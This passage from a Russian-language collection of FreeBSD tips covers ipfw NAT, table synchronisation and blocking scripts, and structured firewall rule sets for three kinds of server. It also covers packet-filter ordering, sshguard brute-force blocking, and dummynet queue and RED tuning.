       CFLAGS+= -DIPFIREWALL_NAT
    
    Далее пересобираем систему:
    
       cd /usr/src/ ; make builworld && make kernel KERNCONF=YourKern &&  make installworld
       reboot
    
    В конфигурационном файле ipfw:
    
       NatIP="111.111.111.111"
       ipfw nat 123 config ip ${NatIP} log
       ipfw add 10 nat 123 ip from 192.168.0.0/16 to any
       ipfw add 20 nat 123 ip from any to ${NatIP}
    
    Наслаждаемся достоинствами kernel nat
    
     
    ----* Автоматическая синхронизация таблиц ipfw   Автор: freeseacher  [комментарии]
     
    Вот таким скриптом можно периодически синхронизировать на всех сереверах таблицы ipfw
    
    #!/bin/sh 
    
    #CHANGE ME
    prefix="/etc/tables"
    host="10.0.0.2"
    user="table"
    
    #standart variables
    rsync="/usr/local/bin/rsync"
    agg="/usr/local/bin/aggregate -t -q"
    ipfw="/usr/local/bin/sudo /sbin/ipfw"
    
    
    ${rsync} -q --rsh=ssh --rsync-path=${rsync} -d ${user}@${host}:${prefix}'/*' ${prefix} 
    
    
    TOPROCESS=`find ${prefix}/ -type f ! -name '*.agg' -name 'table*'` 
    for i in $TOPROCESS; do
            cat $i|awk '{if (! match($1,"/")) print $1"/32"; else print $1}' |$agg >$i.agg
            t_num=`/usr/bin/basename $i |awk -F "table" '{print $2}'`
    
            # Таблица реально существующих клиентов
            for SUBNET in `\
                    ${ipfw} table ${t_num} list | /usr/bin/cut -f 1 -d " " | /usr/bin/diff $i.agg - | \
                    /usr/bin/grep -v [a-z] | /usr/bin/grep ">" | /usr/bin/cut -f 2 -d " " ` ; do
                    ${ipfw} -q table ${t_num} delete $SUBNET &
                    /usr/bin/logger -p local4.info "ip $SUBNET blocked as no customer" &
            done && \
    
            for SUBNET in `\
                    ${ipfw} table ${t_num} list | /usr/bin/cut -f 1 -d " " | /usr/bin/diff $i.agg - | \
                    /usr/bin/grep -v [a-z] | /usr/bin/grep "<" | /usr/bin/cut -f 2 -d " " ` ; do
                    ${ipfw} -q table ${t_num} add $SUBNET &
                    /usr/bin/logger -p local4.info "ip $SUBNET added as customer ip" &
            done
    done
    
    на выделенном серевере (например биллинге) в /etc/tables складывать файлики table100 table2 
    после прописывания везде одинаковых пользователей и разброса 
    ключей, получаем эллегантное решение по синхронизации таблиц
    
    PS: рабочая часть взята из http://www.opennet.dev/openforum/vsluhforumID3/32321.html#3
    
     
    ----* Пример использования таблиц блокировки в ipfw   [комментарии]
     
    Блокировка производится командой:
    
       ipfw add deny ip from "table(1)" to any via em0 
    
    /etc/load_table.sh:
    
       #!/bin/sh
       ipfw table 1 flush
       cat /etc/block.txt | while read cnt ip; do
           ipfw table 1 add $ip
       done 
    
    формат /etc/block.txt: "cnt ip"
    получем, например, из tcpdump лога атаки:
    
       tcpdump -n -i em0 udp and port 80 > ./tcpdump.log
       cat ./tcpdump.log |cut -d' ' -f3|cut -d'.' -f1,2,3,4|sort|uniq -c |sort -r -n > /etc/block.txt
    
     
    ----* Пример структурирования правил ipfw (доп. ссылка 1)   Автор: Vadim Guchenko  [комментарии]
     
    Пример структурирования правил фильтра пакетов ipfw во FreeBSD 
    с целью упрощения их восприятия и уменьшения  вероятности допущения ошибок.
    
    Исторически так сложилось, что правила файрвола в rc.firewall написаны в плохом
    и труднопонимаемом стиле:
    входящие и исходящие пакеты проходят один и тот же набор правил. 
    Многие используют этот скрипт как образец для написания собственного набора правил и
    наступают на одни и те же грабли. Как минимум, с натом. На самом деле ipfw очень удобен, 
    если писать список правил как некую программу - с разбиением на мелкие подпрограммы (блоки) 
    и добавлением комментариев. При этом надо руководствоваться рядом
    соглашений:
    
    
    1. Весь трафик первым делом делится на входящий и исходящий. 
    Каждый вид трафика обрабатывается в отдельном блоке. 
    В качестве еще одного блока можно выделить трафик через интерфейс lo0. 
    Слова in и out после первоначального разделения трафика не
    используются.
    
    
    2. Входящий трафик делится на а) трафик, адресованный данному серверу; 
    б) броадкасты; в) мультикасты; г) трафик, идущий транзитом. Каждый из видов трафика 
    обрабатывается в отдельном блоке. Слово me после разделения трафика не используется.
    
    
    3. Ветвление на блоки происходит по ip-адресам. Имена интерфейсов используются по возможности 
    как можно реже и только тогда, когда без них не обойтись. В частности, при написании 
    правил антиспуфинга. При использовании имен интерфейсов крайне не
    рекомендуется 
    использовать слово via. В зависимости от блока (входящий или исходящий трафик) рекомендуется 
    использовать слова xmit или recv. Это повышает читабельность.
    
    
    4. Все строки с правилами нумеруются (там где это допустимо). 
    Нумерация строго возрастающая. Рекомендуемый шаг между соседними номерами 100.
    
    
    5. Блок занимает строго фиксированный диапазон номеров строк ipfw. 
    Номер строки, с которой начинается блок, указывается в комментарии в начале этого блока. 
    Переход на блок происходит только на его начало. Переход в середину блока недопустим.
    
    
    6. Блок всегда заканчивается строкой allow ip from any to any или deny ip from any to any. 
    Исключение составляет ситуация, когда один блок должен выполняться следом за другим. 
    Даже если блок пустой (например, броадкасты или мультикасты не используются),
    все равно лучше поместить в него это единственное правило, чем удалять блок целиком. 
    Возможно в будущем туда что-нибудь допишется.
    
    
    
    Пример я как-то уже приводил несколько лет назад. 
    Приведу еще раз для трех разных серверов. Макросы, начинающиеся с %, заменятся
    на блоки ip-адресов.
    На всех серверах дефолтное 65535 правило: allow ip from any to any.
    
    Правила на центральном роутере/шлюзе в инет:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    # Интерфейсы, подключенные к Интернету
    xmit_iface_inet="{ xmit fxp1 or xmit fxp2 }"
    recv_iface_inet="{ recv fxp1 or recv fxp2 }"
    
    # Ограничение количества ping-пакетов, уходящих на аплинка
    $fwcmd pipe 10 config bw 5Kbit/s
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 500)
    ######################################################################
    
    # Съем трафика для статистики
    $fwcmd add 500 divert 18000 ip from any to any $recv_iface_inet
    
    # NAT-трансляция входящих пакетов
    $fwcmd add 700 divert 8668 ip from any to %ip.nat $recv_iface_inet
    
    ##-----------------------------------------------------------------------------
    ## Антиспуфинг (нумерация с 1000)
    ##-----------------------------------------------------------------------------
    
    # Интерфейсы Интернета
    $fwcmd add 1000 deny log ip from %global.internal to any $recv_iface_inet
    
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    
    # Мультикасты
    $fwcmd add 5200 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем трафик на закрытые адреса магистрали
    $fwcmd add 6000 deny log ip from any to %global.backbone.private
    
    # Разрешаем остальной трафик
    $fwcmd add 6300 allow ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10000 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10100 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10200 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10300 allow ospf from %global.backbone to any
    
    # Разрешаем GRE-пакеты
    $fwcmd add 10400 allow gre from any to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 deny tcp from %deny.ssh to %ip.ssh 22
    $fwcmd add 12100 allow tcp from %allow.ssh to %ip.ssh 22
    
    # BGP
    $fwcmd add 12200 deny tcp from %deny.bgp to %ip.bgp 179
    $fwcmd add 12300 allow tcp from %allow.bgp to %ip.bgp 179
    
    # SNMP
    $fwcmd add 12400 allow udp from %allow.snmp to %ip.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18200 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18300 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18400 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %global.backbone to any 162
    
    # Разрешаем NTP-пакеты
    $fwcmd add 20100 allow udp from %global.backbone to %global.backbone.broadcast 123
    
    # Запрещаем остальной трафик
    $fwcmd add 20200 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %global.backbone to 224.0.0.0/24{5,6}
    
    # Разрешаем общие IGMP и DVMRP-пакеты
    $fwcmd add 25100 allow igmp from %global.backbone to 224.0.0.0/24{1,2,4}
    $fwcmd add 25200 allow igmp from %ip.link.iskranet-gw to 224.0.0.0/24{1,2}
    
    # Разрешаем трафик TVoIP
    $fwcmd add 25300 allow ip from %ip.ext.tvoip to 224.2.153.173
    
    # Запрещаем остальной трафик
    $fwcmd add 25400 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Запрещаем отправку пакетов, предназначенных для внутрисетевых адресов,
    # на шлюз по умолчанию
    $fwcmd add 30000 deny ip from any to %global.internal $xmit_iface_inet
    
    # Запрещаем отправку в Интернет пакетов Netbios
    $fwcmd add 30100 deny tcp from any to any 135,139,445 $xmit_iface_inet
    
    # Запрещаем отправку пакетов в Интернет для клиентов, которые отключены
    # от Интернета
    $fwcmd add 30200 skipto 30350 ip from %allow.internet to any $xmit_iface_inet
    $fwcmd add 30300 deny ip from any to any $xmit_iface_inet
    
    # Шейпинг ping-пакетов
    $fwcmd add 30350 skipto 30400 icmp from %group.ping-shaping to any icmptypes 8 $xmit_iface_inet
    $fwcmd add 30351 pipe 10 icmp from any to any icmptypes 8 $xmit_iface_inet
    
    # Съем трафика для статистики
    $fwcmd add 30400 divert 18001 ip from any to any $xmit_iface_inet
    
    # NAT-трансляция исходящих пакетов
    $fwcmd add 30800 divert 8668 ip from 192.168.0.0/16 to any $xmit_iface_inet
    #$fwcmd add 30900 allow ip from %ip.nat to any $xmit_iface_inet
    
    # Направляем пакеты в нужные интерфейсы аплинков в зависимости от их src-адреса
    $fwcmd add 31000 fwd %ip.link.krastelecom-gw ip from %ip.link.krastelecom to any $xmit_iface_inet
    $fwcmd add 31100 fwd %ip.link.iskranet-gw ip from %ip.link.iskranet to any $xmit_iface_inet
    
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 31200 allow udp from me to any keep-state
    
    ##-----------------------------------------------------------------------------
    ## Аккаунтинг трафика (нумерация с 40000)
    ##-----------------------------------------------------------------------------
    
    # Трафик Интернета
    $fwcmd add 40000 skipto 40200 ip from %global.internal to %group.accounting
    $fwcmd add 40100 divert 17000 ip from any to %group.accounting
    
    ######################################################################
    
    
    
    
    Правила на сервере доступа:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    # Интерфейс, подключенный к клиентскому сегменту
    iface_clients=fxp0
    
    # Интерфейсы VPN
    iface_vpns=ng*
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 500)
    ######################################################################
    # Открываем доступ к DHCP-серверу с незарегистрированных адресов, запрещаем
    # с них любой другой трафик
    $fwcmd add 500 allow udp from %clients.unreg to %srv.dhcp 67
    $fwcmd add 600 allow udp from %clients.unreg to 255.255.255.255 67
    $fwcmd add 700 deny ip from %clients.unreg to any
    
    ##-----------------------------------------------------------------------------
    ## Антиспуфинг (нумерация с 1000)
    ##-----------------------------------------------------------------------------
    
    # Интерфейс клиентов
    $fwcmd add 1000 skipto 5000 ip from 0.0.0.0 to any recv $iface_clients
    $fwcmd add 1100 skipto 5000 ip from %clients to any recv $iface_clients
    $fwcmd add 1200 deny log ip from any to any recv $iface_clients
    
    # Интерфейсы VPN
    $fwcmd add 1300 skipto 5000 ip from %clients to any recv $iface_vpns
    $fwcmd add 1400 skipto 5000 ip from any to any verrevpath recv $iface_vpns
    $fwcmd add 1500 deny log ip from any to any recv $iface_vpns
    
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    $fwcmd add 5200 skipto 20000 ip from any to %global.backbone.broadcast
    $fwcmd add 5300 skipto 20000 ip from any to %clients.broadcast
    
    # Мультикасты
    $fwcmd add 5400 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем трафик на закрытые адреса магистрали
    $fwcmd add 6000 deny log ip from any to %global.backbone.private
    
    # Разрешаем любой трафик, идущий c VPN-адресов клиентов, которым открыт доступ
    # к услугам сети, и обратно
    $fwcmd add 6100 allow ip from %access.allow to any
    $fwcmd add 6200 allow ip from any to %access.allow
    
    # Разрешаем трафик, идущий от клиентов на DNS-резолвер и обратно
    $fwcmd add 6300 allow ip from any to %global.srv.resolver
    $fwcmd add 6400 allow ip from %global.srv.resolver to any
    
    # Разрешаем трафик, идущий от клиентов на веб-сервер сети и обратно
    $fwcmd add 6500 allow ip from any to %global.srv.http
    $fwcmd add 6600 allow ip from %global.srv.http to any
    
    # Разрешаем эхо-запросы, идущие на локальные адреса клиентов, и эхо-ответы
    # c этих адресов
    $fwcmd add 6700 allow icmp from any to %clients icmptypes 8
    $fwcmd add 6800 allow icmp from %clients to any icmptypes 0
    
    # Запрещаем остальной трафик
    $fwcmd add 6900 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10000 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10100 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10200 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10300 allow ospf from %global.backbone to any
    
    # Разрешаем GRE-пакеты
    $fwcmd add 10400 allow gre from any to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 allow tcp from %srv.ssh.allow to %srv.ssh 22
    
    # DHCP
    $fwcmd add 12100 allow udp from %srv.dhcp.allow to %srv.dhcp 67
    
    # PPTP
    $fwcmd add 12200 allow tcp from %srv.pptp.allow to %srv.pptp 1723
    
    # SNMP
    $fwcmd add 12300 allow udp from %srv.snmp.allow to %srv.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 80 порт (samba)
    $fwcmd add 18200 reset tcp from any to any 80
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18300 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18400 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18500 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %global.backbone to any 162
    
    # Разрешаем NTP-пакеты
    $fwcmd add 20100 allow udp from %global.backbone to %global.backbone.broadcast 123
    
    # Разрешаем поиск DHCP-сервера
    $fwcmd add 20200 allow udp from %srv.dhcp.allow to any 67
    
    # Запрещаем остальной трафик
    $fwcmd add 20300 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %global.backbone to 224.0.0.0/24{5,6}
    
    # Разрешаем общие IGMP и DVMRP-пакеты
    $fwcmd add 25100 allow igmp from %global.backbone to 224.0.0.0/24{1,2,4}
    $fwcmd add 25200 allow igmp from %clients to 224.0.0.0/24{1,2}
    
    # Разрешаем подписку на группы TVoIP
    $fwcmd add 25300 allow igmp from %clients to %global.srv.tvoip.groups
    
    # Разрешаем трафик TVoIP
    $fwcmd add 25400 allow ip from %global.srv.tvoip to %global.srv.tvoip.groups
    
    # Запрещаем остальной трафик
    $fwcmd add 25500 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 30000 allow udp from me to any keep-state
    
    ######################################################################
    
    
    
    
    
    Правила на сервере служб:
    
    
    #!/bin/sh -e
    
    fwcmd="echo"
    
    ######################################################################
    ## Разделение трафика в зависимости от направления (нумерация с 100)
    ######################################################################
    # Трафик через интерфейс lo0
    $fwcmd add 100 allow ip from any to any via lo0
    
    # Исходящий трафик
    $fwcmd add 200 skipto 30000 ip from any to any out
    
    ######################################################################
    ## Входящий трафик (нумерация с 1000)
    ######################################################################
    ##-----------------------------------------------------------------------------
    ## Разделение трафика в зависимости от получателя пакета (нумерация с 5000)
    ##-----------------------------------------------------------------------------
    
    # Трафик, адресованный серверу
    $fwcmd add 5000 skipto 10000 ip from any to me
    
    # Броадкасты
    $fwcmd add 5100 skipto 20000 ip from any to 255.255.255.255
    $fwcmd add 5150 skipto 20000 ip from any to %group.backbone_broadcast
    
    # Мультикасты
    $fwcmd add 5200 skipto 25000 ip from any to 224.0.0.0/4
    
    ##-----------------------------------------------------------------------------
    ## Трафик, идущий транзитом (нумерация с 6000)
    ##-----------------------------------------------------------------------------
    
    # Запрещаем весь трафик
    $fwcmd add 6000 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Трафик, адресованный серверу (нумерация с 10000)
    ##-----------------------------------------------------------------------------
    
    # Преобразовываем запросы к DNS-резолверу
    $fwcmd add 10000 divert 8669 ip from %allow.resolver_internet to %ip.resolver
    
    # Разрешаем установленные TCP-соединения
    $fwcmd add 10100 allow tcp from any to any established
    
    # Разрешаем фрагменты IP-пакетов
    $fwcmd add 10200 allow ip from any to any frag
    
    # Разрешаем пакеты, удовлетворяющие динамическим правилам
    $fwcmd add 10300 check-state
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 10400 allow ospf from %group.backbone to any
    
    ##-----------------------------------------------------------------------------
    ## Службы сервера (нумерация с 12000)
    ##-----------------------------------------------------------------------------
    
    # SSH
    $fwcmd add 12000 deny tcp from %deny.ssh to %ip.ssh 22
    $fwcmd add 12100 allow tcp from %allow.ssh to %ip.ssh 22
    
    # DNS-резолвер
    $fwcmd add 12200 deny { tcp or udp } from %deny.resolver to %ip.resolver 53
    $fwcmd add 12300 allow { tcp or udp } from %allow.resolver to %ip.resolver 53
    
    # DNS-сервер
    $fwcmd add 12400 deny { tcp or udp } from %deny.dns to %ip.dns 53
    $fwcmd add 12500 allow { tcp or udp } from %allow.dns to %ip.dns 53
    
    # DNS-кэш
    $fwcmd add 12600 deny { tcp or udp } from %deny.dnscache to %ip.dnscache 53
    $fwcmd add 12700 allow { tcp or udp } from %allow.dnscache to %ip.dnscache 53
    
    # NTP-сервер
    $fwcmd add 12800 deny udp from %deny.ntp to %ip.ntp 123
    $fwcmd add 12900 allow udp from %allow.ntp to %ip.ntp 123
    
    # IRC
    $fwcmd add 13000 deny tcp from %deny.irc to %ip.irc 6667-6669
    $fwcmd add 13100 allow tcp from %allow.irc to %ip.irc 6667-6669
    $fwcmd add 13200 deny icmp from any to %ip.irc icmptypes 8
    
    # HTTP
    $fwcmd add 13700 deny tcp from %deny.http to %ip.http 80,443
    $fwcmd add 13800 allow tcp from %allow.http to %ip.http 80,443
    
    # SMTP
    $fwcmd add 13900 deny tcp from %deny.smtp to %ip.smtp 25
    $fwcmd add 14000 allow tcp from %allow.smtp to %ip.smtp 25
    $fwcmd add 14100 deny tcp from %group.internal to %ip.smtp 25
    $fwcmd add 14200 allow tcp from any to %ip.smtp 25
    
    # POP
    $fwcmd add 14300 deny tcp from %deny.pop to %ip.pop 110
    $fwcmd add 14400 allow tcp from %allow.pop to %ip.pop 110
    
    # SNMP
    $fwcmd add 14500 allow udp from %allow.snmp to %ip.snmp 161,1161
    
    ##-----------------------------------------------------------------------------
    ## Завершающие правила для трафика, адресованного серверу (нумерация с 18000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем ICMP-пакеты
    $fwcmd add 18000 allow icmp from any to any
    
    # Разрешаем работу traceroute
    $fwcmd add 18100 unreach port udp from any to any 33434-33584
    
    # Запрещаем соединения на 113 порт (ident)
    $fwcmd add 18200 reset tcp from any to any 113
    
    # Запрещаем соединения на 1080 порт (socks check)
    $fwcmd add 18300 reset tcp from any to any 1080
    
    # Запрещаем остальной трафик
    $fwcmd add 18400 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Броадкасты (нумерация с 20000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем SNMP trap'ы от ИБП
    $fwcmd add 20000 allow udp from %group.backbone to any 162
    
    # Запрещаем остальной трафик
    $fwcmd add 20100 deny log ip from any to any
    
    ##-----------------------------------------------------------------------------
    ## Мультикасты (нумерация с 25000)
    ##-----------------------------------------------------------------------------
    
    # Разрешаем OSPF-пакеты
    $fwcmd add 25000 allow ospf from %group.backbone to 224.0.0.0/24{5,6}
    
    # Запрещаем остальной трафик
    $fwcmd add 25100 deny log ip from any to any
    
    ######################################################################
    ## Исходящий трафик (нумерация с 30000)
    ######################################################################
    # Преобразовываем ответы DNS-резолвера
    $fwcmd add 30000 divert 8669 ip from %ip.dnscache to %allow.resolver_internet
    
    # Динамическое правило для доступа с данного сервера к внешним службам по UDP
    $fwcmd add 30100 allow udp from me to any keep-state
    
    ##-----------------------------------------------------------------------------
    ## Аккаунтинг трафика (нумерация с 40000)
    ##-----------------------------------------------------------------------------
    
    # Трафик почтового сервера (POP)
    $fwcmd add 40000 divert 17000 tcp from %ip.pop to %group.accounting 
    
     
    ----* Порядок прохождения пакетов в пакетных фильтрах FreeBSD (доп. ссылка 1)   Автор: butcher  [комментарии]
     
    Порядок прохождения пакетов при одновременном использовании  ipfilter, pf и ipfw:
    При загрузке фильтров модулями, порядок будет определяться порядком загрузки модулей. 
    Причина здесь в том, что пакетные фильтры регистрируют себя в pfil(9).
    
    При включении всех фильтров в ядро порядок будет определять SYSINIT.
    Чтобы определить порядок, нужно открыть файл sys/kernel.h. 
    В нём определён порядок инициализации определённых подсистем. Теперь, простейшее:
    
    # grep DECLARE_MODULE netinet/ip_fw_pfil.c
    DECLARE_MODULE(ipfw, ipfwmod, SI_SUB_PROTO_IFATTACHDOMAIN, SI_ORDER_ANY);
    # grep DECLARE_MODULE contrib/pf/net/pf_ioctl.c
    DECLARE_MODULE(pf, pf_mod, SI_SUB_PROTO_IFATTACHDOMAIN, SI_ORDER_FIRST);
    # grep DECLARE_MODULE contrib/ipfilter/netinet/mlfk_ipl.c
    DECLARE_MODULE(ipfilter, ipfiltermod, SI_SUB_PROTO_DOMAIN, SI_ORDER_ANY);
    
    От сюда следует: первым будет ipfilter, затем pf, затем ipfw.
    
     
    ----* Автоблокирование атак по подбору паролей (brute force) в SSH под FreeBSD (доп. ссылка 1)   Автор: Roman Y. Bogdanov  [комментарии]
     
    Устанавливаем sshguard из портов:
    
       cd /usr/ports/security/sshguard
       make install clean WITH_PF=yes
    
    Настраиваем перенаправление логов в sshguard
    
       echo "auth.info;authpriv.info |exec /usr/local/sbin/sshguard" >> /etc/syslog.conf
    
    Правила блокировки по таблице, /etc/pf.conf
    
       internet="vlan50"
       table persist
       block in quick on $internet from label "ssh bruteforce"
    
    Перечитываем измененные файлы конфигурации PF и syslogd:
    
       pfctl -f /etc/pf.conf
       /etc/rc.d/syslogd restart
    
    Тестируем попробовав подобрать пароли:
       shguard[1048576]: Started successfully [(a,p,s)=(4, 420, 1200)], now ready to scan.
    
       sshd[1048577]: Invalid user administrador from 21.138.24.51
       sshd[1048579]: Invalid user publica from 21.138.24.51
       sshd[1048580]: Invalid user rbecerril from 21.138.24.51
       sshd[1048581]: Invalid user rvences from 21.138.24.51
    
       sshguard[1048582]: Blocking 21.138.24.51: 4 failures over 15 seconds.
       shguard[1048583]: Releasing 21.138.24.51 after 490 seconds.
    
     
    ----* Расчет размера очереди для pipe с заданной пропускной способностью (доп. ссылка 1)   [комментарии]
     
    > Работает шейпер на dummynet, наблюдается некотороая потеря
    > траффика. Hавскидку проблема в дефолтных значениях размера очереди (50 пакетов)
    > для pipe'ов от 32 до 512 Кбит\с. Скорее всего, поток не влезает в очередь и
    > часть пакетов отбрасывается. Как правильно рассчитать размер очереди для
    > каждого pipe в отдельности? 
    
    Eugene Grosbein:
    
    Pipe и должен отбрасывать пакеты, иначе какой же это шейпер?
    Ты не можешь увеличивать длину очереди бесконечно, потому что задержки
    вырастут настолько, что соединение начнет рвать сам юзер :-)
    
    Hа таких низких скоростях размер очереди надо бы, наоборот, уменьшать,
    чтобы не допустить гигантских задержек типа нескольких тысяч милисекунд.
    
    А если хочешь и рыбку съесть, и потерь иметь минимум, то читай-ка ты
    про RED/GRED на unixfaq.ru и делай не просто pipe, а queue/pipe с gred.
    Рекомендую делать w_q=0.002, max_p=0.1, min=q/10, max=3*min,
    где q - длина очереди, q=20 для скоростей меньше 100Kbit/s,
    q=30 для скоростей от 100 до 300Kbit/s и q=50 для скоростей 512Kbit/s и выше.
    
    ----------
    Sergey A Yakovets:
    
    Пол-дня игрался с параметром queue. В итоге подобрал на первый взгляд
    кое-что подходящее. Алгоритм\мысли были следующие:
    
    Дано: асинхронный спутниковый Инет. Входящий канал - 1024 Кбит\с.
    
    Опытным путем установлено, что проблемы с потерей траффика (до 10% от
    общего объема) возникают при многопотоковых http\ftp закачках, т.к. спутниковый
    провайдер в этом случае может отдать поток на все 1024 Кбит\с. При серфинге все
    нормально. Исходя из этого, мною были сделаны некоторые расчеты:
    
    При максимальной пропускной способности входящего спутникового канала
    в 1024 Кбит\с и размере пакета в 1500 байт, пропускная способность канала
    равна ~ 87 пакетов\сек. В это же время, для канала в 128 Кбит\с пропускная
    способность равна ~ 11 пакетов\сек. Гипотетическая разница, при условии что на
    юзера будет идти поток в 1024 Кбит\с, а отдаваться только 128 Кбит\с, может
    составить 76 пакетов\сек.
    
    Итого, опытным путем установлено:
    
        - (было) при дефолтной очереди в 50 пакетов на pipe 128 Кбит\с потери 10%
        - при размере очереди = разница*2 = 150 пакетов потери 2%
        - (стало) при размере очереди = разница*3 = 230 пакетов потери 0%
    
    Серфинг не страдает, задержек нет. Закачка идет на скорости шейпера, потерь нет.
    
    Пробовал другой вариант.
    Hа pipe 128 Кбит\с было выставлено gred 0.002/3/6/0.1 В итоге - огромные
    потери, т.к. канал практически все время работал на скорости пакетов намного
    больше чем max_th*2. Изменение параметров до gred 0.002/50/150/0.1 не влияло на
    результат, т.к. дефолтный размер очереди в 50 пакетов часто переполнялся и gred
    не имел никакого действия. 
    ---------
    
    Что такое алгоритмы RED и gentle RED у ipfw?
    http://unixfaq.ru/index.pl?req=qs&id=310
    
    Ответ на этот вопрос скомпилирован из статей в конференции RU.UNIX.BSD от следующих авторов: 
    Valentin Ermolaev, Alexander V. Naumochkin, Jen Linkova.
    
    Сокращение RED означает "Random Early Detection". Метод используется для
    выравнивания всплесков трафика.
    
    Основным критерием метода является так называемая перегрузка.
    
    В качестве показателя перегрузки avg используется вычисляемое среднее значение
    длины очереди пакетов,
    принадлежащей к определенной сессии TCP. Использование усредненного,
     а не мгновенного значения очереди позволяет отделить кратковременные перегрузки, 
    которые могут быть нормально обработаны устройством и сетью, от длительных перегрузок, 
    которые могут утопить сеть.
    
    Алгоритмически это выглядит так:
    
    В момент прихода пакета
    ; ; if (очередь не пуста)
    ; ; ; ; avg = (1 - w_q)*avg + w_q*q
    ; ; else
    ; ; ; ; m = f(time - q_time)
    ; ; ; ; avg = (1 - w_q)^m * avg;
    
    где
    
    avg -средний размер очереди
    q_time - "start of queue idle time"
    q - размер очереди
    
    w_q - вес очереди (фиксированный параметр)
    
    f() - линейная функий от времени
    
    В /usr/src/sys/netinet/ip_dummynet.c по этому поводу написано следующее:
    
    * RED algorithm
    *
    * RED calculates the average queue size (avg) using a low-pass filter
    * with an exponential weighted (w_q) moving average:
